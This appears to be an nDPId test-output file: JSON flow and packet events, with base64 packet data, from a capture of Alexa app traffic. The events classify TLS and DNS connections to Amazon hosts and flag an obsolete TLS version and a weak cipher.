+00745{"flow_id":118,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2004,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":310007,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"AMDKkaPvePiC0\/vCCABFAAEbj59AAEAGfmmsECrYNu8d\/Z+gAbt6Gf6EzmSKlVAYAVfa4QAAFgMBAO4BAADqAwN0b1XxRD1+7q81PZEt7s8JLjF+zs7TJetZZPnvHETq+SBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACBWloAAP8BAAEAAAAAHAAaAAAXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAhqagAdABcAGPr6AAEA"} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2004,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":118,"flow_packet_id":4,"flow_first_seen":1490976130073,"flow_last_seen":1490976130310,"flow_tot_l4_data_len":351,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40864,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00538{"flow_id":118,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2005,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":469888,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9z7BAAOcGl\/U27x39rBAq2AG7n6DOZIqVehn\/d1AYf\/hZrQAAFgMBAEoCAABGAwFY3n2ChqENgB5ulodafVGXSlcQ1mED7PxYBMV1H121KiBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAvABQDAQABAQ=="} +00857{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2005,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":118,"flow_packet_id":5,"flow_first_seen":1490976130073,"flow_last_seen":1490976130469,"flow_tot_l4_data_len":456,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40864,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00494{"flow_id":118,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2006,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":470026,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdz9VAAOcGl\/A27x39rBAq2AG7n6DOZIrqehn\/d1AYf\/jOuwAAFgMBADBr7rcoma6yI9u+hwZHRhABfiFPvPkpGdxK57qKeW\/S079grGg18giIHqTY7wSdzXU="} +00417{"flow_id":118,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2007,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":472574,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoj6BAAEAGf1usECrYNu8d\/Z+gAbt6Gf93zmSK6lAQAVcObQAA"} +00417{"flow_id":118,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2008,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":472863,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoj6FAAEAGf1qsECrYNu8d\/Z+gAbt6Gf93zmSLH1AQAVcOOAAA"} +00499{"flow_id":118,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2009,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":472997,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjj6JAAEAGfx6sECrYNu8d\/Z+gAbt6Gf93zmSLH1AYAVdimAAAFAMBAAEBFgMBADDxJL4N2qtGIcYMDVbpVMKRkW9NwKq96ykSeUymTi2c8KWF4PijJDaOzHsAYyfa8cU="} +02422{"flow_id":118,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2010,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":474254,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcj6NAAEAGeaSsECrYNu8d\/Z+gAbt6Gf+yzmSLH1AQAVeRYwAAFwMBACBjjUNK+Nx8EgLCTPB59WYSRW0naZwJRJj\/5iBOcb3rUhcDAQaAXb8y9YwZGQwzgcNCQBnA49Rnn2MSCIX6kx9OkFZXAk4OJ1NyAbMnKlNKZ2HKGCzo39w5BQILkAUa2MEwdP9r+rNN72a45u7ZHYOI2OHzBCQFqj+3lGJtywXUTp\/cEqDqGgy6CZs+sqkcjVYYeHeaRgPYShSkLeGTzYqLWMENBsj3h+HW\/1oJacf1sVg5hdDOqwDSpYnuro47DeeSw6YP7TvBbNwIblmYU+3O+e8jr4J0ZxJSU9P6jvq54FKhK2jnksAU\/ha5MyNkAVn7qczTEQoEEvEkpznrVUHMbMWbpFdIYQsuh2a0ZLNTA6899\/zcDr77+ys0CPxJzrE\/ZsiqEHelMJANmKbNR5cJnGjdNGQjAr5W9qb649BPhUZIOGL1O40z1VRDAi+qGnLtgrBPqoRcYcvEu8iGWInMHBdUSkrGJh+\/f6i8YQ1+u5zDFP9WHstNWpS77aG5Ekvy9m9r0lin19aawK3Z7EOeEQsCNWcY+KWKzg8Uwf3+HX62y7tAsGE0tF+N66rQOy6fwcAvpt2iKAMsRHemDFJEE1kYGq72Ti1Be7JpxBYlUyF0N0enjEv8nyWRWw0X3D+saqfedzHYbpHTf0ZlGwdeVEJg0jIom76iM+E3qvmYm7IoBXl\/m\/xsKGAUSMtQH625bo836kBUz1LUOIqgHL4PQLczlf5SWywmw\/oivN9YpheqS7xd8hSvjvQN\/BhuzOTpyEofo+Z9cpC42TMcheKkoccYK9CSp9UrYEWx15gQl06FZqaK3BGEzxqxLGvVqKkaBfvXWo0NzFTMtLwpcFJhGTTg+ysETUZ+WvlHByEuvM1wzsSse\/QzPwy\/0JE9AdslXe9ZGUYCew\/jq4sY6UbS+RusiG8t5T5JAg3qP9QrqcHMHPgwqEjBs\/iXcvqR8vOozR8BSTllgXu+td+RjukssAdz8RKu6n1wZGHkUgFOdspSzqUgTgsQEZND\/8LJQ3uKPdrG\/7JwNkIJ\/GwP\/71nF+5Y8kDDd7O1P+fji1AwPU3RKsKvbG8i73yW7\/zxij4+ytJ\/iqHjNTboOEQ6ZT2oF7w5SVFNjQ2C6VH\/XwgmkIllad9uQyDLeVxoBgU6PRq9L6UibjlDl1H+hxgj\/Nk3CWybarjmKR4uCrzD97\/DCxVCCwsXxPCBdTBtH1WH1eC8VftX3gCMVywZKEGwAsVhXPa8Sag1BbHXRxaU0oQo1\/uS6L9JD7TQ24PMQaZCiU82Uj\/FSIpvaD4qnjZnP8dlpWJjWDp4KRW7VfSa7nmfh7m\/8rB8gDgbO+yrER5qwxh+2v\/+aYb88\/ZzwOi+qMxdqeCuXYfh98zXp6i8\/CM4SfGbsP3Wn4qSxtzmkTQV1ILYXbclbBpds+DZVl5XBrgRb2\/y7sGhAcNpszozbogw4n2JuucxVoiZaWIy\/apyBx\/lu\/kCaejsNuEAUwZ7P6sRUMIwU\/H3Vt\/vN+XMJqdBHtroSX1pHNAhGNX3Ryu8A\/CHUjMcC8jgdaq\/XYmnU5AWq8+ovxJn23P1\/S3zxISAmuZdcFxyc3EAmuCun++DROkGoL9aKOU65mNpLSaNkqd5JqLpje4bnddK3PjmcPGhph\/G\/iByZDa8joK6Wq+lI+77\/gJKHITO5K8CrO9cvM2rJo0rh0m2vI0+Mzg+UgDpaMPENGqfwM1iQVa+PiDAYORs7tCyodLyXLiynDvPKfjzVFNPT1+soqRk4+0yngQqtaxtSK4YbQl2mIQ7S7Wf3I3aphlPUFcCi4\/N80zyoMOmXkkq45X\/btY84NWVJoKnK\/B8eKZZ9H6Y1+7MuCu0vp\/QxRmh6+1sk6pHmneQX\/eaGreNV\/gI9D8xXmD8uc+ndD+Qo\/TeGjY9OJ3NDcY9CCRSvWjQnmi\/XQyIIqTI5ts="} +00759{"flow_id":118,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2011,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":474496,"pkt_caplen":300,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":300,"pkt_l4_len":266,"pkt":"AMDKkaPvePiC0\/vCCABFAAEej6RAAEAGfmGsECrYNu8d\/Z+gAbt6GgVmzmSLH1AYAVciSQAAkUpZPO2ugQFpOa3lJeT6Xe49SX76REJuslkKFhTmJsQTPA2vUhH4vrDTQ\/vjPgb8l89+LHQBChO0y5YJ4GQvdVvt8LzeknnZjByo2BBmZhWsgPTDKB3\/3ASuBmz4vfHA1oa3y80olF81AKMHYtXRYv\/FAoA5AtogvpZnIWBepltiKs1TjTeM1nWjj+aTqrxz\/ewJELVBdcXP0oVJkIdkWPYlFvWJBLy6xWr\/FjkpTF9lUwRbQX\/z1p32oF+\/zQ6gRiY5ZT6DWOg\/3jFQ2TgJDJXd8tV+Q3nJjsLhM3rEIww\/t\/Cta3PZBOOxJSK7agbbFgzgHc4P"} +00428{"flow_id":118,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2012,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":623690,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAouAJAAOcGr\/g27x39rBAq2AG7n6DOZIsfehn\/slAQf\/ePXAAAAAAAAAAA"} +00426{"flow_id":118,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2013,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":623836,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAouAVAAOcGr\/U27x39rBAq2AG7n6DOZIsfehoFZlAQf+CJvwAAAAAAAAAA"} +00425{"flow_id":118,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2014,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":629629,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAouKVAAOcGr1U27x39rBAq2AG7n6DOZIsfehoGXFAQf9yIzQAAAAAAAAAA"} +02399{"flow_id":118,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2015,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976131,"pkt_ts_usec":242371,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx0tAAOcGmvs27x39rBAq2AG7n6DOZIsfehoGXFAQ\/a+YWgAAFwMBBnDm8d4M8hDzs5VcMuD3P6vbkwfW+EgFi0ZTYBteuDlrMNJYmoCeCm8sN1RQwWSMGpV7b+nuLblSv4U9Hpbk1ax6xWQvpDgWskrbv8IWLHJ8Xtz\/elYLdnY59rA2C0Iz3eCmAtoCrXz6IlasgKsXLpa+wkaJ5BACxfUge4uDSyUSZ\/1dn+o3eO05+IbdkVrGluXjGk\/DvSxb5cc5iht+v1DOcAspTyhkx15ckUkDomquHkdhOFS8kXcPIsArM51XvL8A\/l3kRd1YhCHx4lhPJGqQaekA6mBEthjswM2ECh3Rb8AtmFmjlEcl\/k5RZr74\/zYa6xbDxRDiro\/dmTyxbcwM2nWqVn5mdap1EWpH1mFCmoVCnfDYKi1VIgntHr9h1FePSnrPPQEUWdRT2NeiP6CxeKaEXwXUAAN7x+AGT7TjVmuTFY1Re3nGzB\/zApGKTTjZG+\/c5RnNt\/+f5uvHWP5wyEGnVjyPHM7Q8\/6EN3oB6QybW0xQnc5bIPTQRSdsSBNCogiI+N54GpwmftGXjWGzSaA2+zv5sdZ1TeBuZxuUqSjhqyw+U6qqBEX9mbwSn8ebyWkxu1L1Z8eGdltJJwZIVZT7vJa2nNdRfYWUSVmetf8OMggcwMbrncBMENQYxzc8VKk9\/8olB77jARLRWkuzEeZHOQtv2npmblhQ4xEUkhRkKcVcFN72w81PnNZWqfgpNXIca9VzB+l18AdrXNFJmhr4\/7+htKD3WZuLwOkZqEso6SsI3EKUxUCCmmdlM3i0wTbXHmH7\/byesy+sljlNoIkfyRlOujVfeWMJMaAtL+OucooeJERS7he6wauu4+VbDx4zmLK7kCwtLcZgYB4igp8rIypCc0wpgIrnPMeqYPQGztXKX+gUs4c2shhRXlpJQ5DKX+V\/4eWhBsYQ7RIAcM1kr1t3x0Enj1bc\/mCc2Q8suOl6AUQf2O64qR7c4dYskjO9WXh2quVtssvdjH4JcvTeSm2TwvOqa4UxX6qOxHxfRjJa6B5w70qnyq4xtiilEUYu6Tu+mA8nOQ4t6fpXfRYwCH3ldKzhwxsxBltPJijYzMrFXn4u7bXFoZXd0I9Sr9ddP7vSvoQmG9965DDCXFSWSBfw6\/5ewjvFgWIPsMw+WC2zf7lgia+9Dm0ErtojL3PheBGfs9Jq8TKDnbXRM6dT77ceKYaxZTHL+M2V26P+o+k\/4nUDrXJvUxMGb1eHAUomYB4\/1MMwU6MymJc\/MDJvcz6PBLAsEMf449AqU4QBSVD6sXi\/WwNBdQkW2jenQ6Qr1EzP49pHYSb37T7iMThw+J3JAFAN8FDskxfqJnRFlD9z3Vi9Qps3Dd7\/YbPJ9amGbMdlx\/KY01xsol5yr9+pnFHsu7TnhX95IcEkXdBVKKPkatpbNkUGvQgvgZhpSdyl8BXtnzlSlaKMNWixXh9ZXjVUmhTZJjAG3OsCW7nL2yMpELRi2HyWrp9F7UUL6aX035rrStb3jj7aiGxNikUvvyO+3V40mezHJsyqHfJGcgJ8TGqKvIV0mtIp1BFfUltkD7XWapUsOvxLFfFtmBxhW70jAX7AAQiEQmSIdMMyITy3KlooIDDV+gd9qarohCgF\/mrN6eDmKuahhSyPhD0XUHHyny9HDochbdXKpELSIENeEqsEemkuLRQEiZ5K3ocdegKX2chjmN7revlH42EdTDaaD1DR3AZjsfEEzaYtWhc7m89oBYEjgttVgiQa4wIISyN+YYZn5ZaO12OTrQaZs2Yl7ghPGlXlNBgArf3ONTDSnE2bK3j8JHSQ8FlHGIOjYej3NNej8Yk9eVlFp8v2HyjE9MBK6XeJQpCLkuC67oIq3pLtcRVHPXyzX2GIQoESeElX\/gI5l6bNtpdyQ1Klfk9lhGxcV3vDvIPJfQ3oYJxe\/vYCDe11EpuBzeSVPBfIwoHLOoFo\/oDh7Sw="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2030,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1490976133936,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4920,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2030,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976133,"pkt_ts_usec":936541,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"AMDKkaPvePiC0\/vCCABFAABDWl9AAEARM1GsECrYrBAqARM4ADUALyGouR4BAAABAAAAAAAAA2VjeA1pbWFnZXMtYW1hem9uA2NvbQAAAQAB"} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2030,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1490976133936,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4920,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"ecx.images-amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00688{"flow_id":119,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2033,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":135541,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"ePiC0\/vCAMDKkaPvCABFAADu5XxAAEARp4isECoBrBAq2AA1EzgA2tC0uR6BgAABAAkAAAAAA2VjeA1pbWFnZXMtYW1hem9uA2NvbQAAAQABwAwABQABAAAAMQAfDmQxZ2Uwa2sxbDVrbXMwCmNsb3VkZnJvbnQDbmV0AMAzAAEAAQAAADsABDRUPzjAMwABAAEAAAA7AAQ0VD8QwDMAAQABAAAAOwAENFQ\/PcAzAAEAAQAAADsABDRUPxrAMwABAAEAAAA7AAQ0VD\/swDMAAQABAAAAOwAENFQ\/I8AzAAEAAQAAADsABDRUP9\/AMwABAAEAAAA7AAQ0VD\/n"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2033,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":119,"flow_packet_id":2,"flow_first_seen":1490976133936,"flow_last_seen":1490976134135,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":47,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":132,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4920,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"ecx.images-amazon.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.84.63.56"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2034,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1490976134140,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51985,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2034,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":140538,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA82ItAAEAGF7ysECrYNFQ\/OMsRAFDDaqo+AAAAAKAC\/\/9Q1AAAAgQFtAQCCAoA9nK1AAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2035,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1490976134141,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51986,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2035,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":141916,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8xZVAAEAGKrKsECrYNFQ\/OMsSAFCeYrcjAAAAAKAC\/\/9o9QAAAgQFtAQCCAoA9nK2AAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2036,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1490976134144,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51987,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2036,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":144040,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA85X5AAEAGCsmsECrYNFQ\/OMsTAFDQ0pfIAAAAAKAC\/\/9V3wAAAgQFtAQCCAoA9nK2AAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2037,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1490976134146,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2037,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":146057,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8TQZAAEAGo0GsECrYNFQ\/OMsUAFAHRT+wAAAAAKAC\/\/93hAAAAgQFtAQCCAoA9nK2AAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2038,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1490976134148,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51989,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2038,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":148422,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8vDBAAEAGNBesECrYNFQ\/OMsVAFCK3c6GAAAAAKAC\/\/9lFAAAAgQFtAQCCAoA9nK2AAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2039,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1490976134149,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51990,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2039,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":149854,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8EjJAAEAG3hWsECrYNFQ\/OMsWAFAy6mCEAAAAAKAC\/\/8rCQAAAgQFtAQCCAoA9nK2AAAAAAEDAwg="} +00444{"flow_id":124,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2040,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":198488,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxXC1q1Wit3Oh6AScSCcZgAAAgQFtAQCCAps+npUAPZytgEDAwg="} +00445{"flow_id":123,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2041,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":199672,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxSwmxNdB0U\/saAScSBYswAAAgQFtAQCCAps+nysAPZytgEDAwg="} 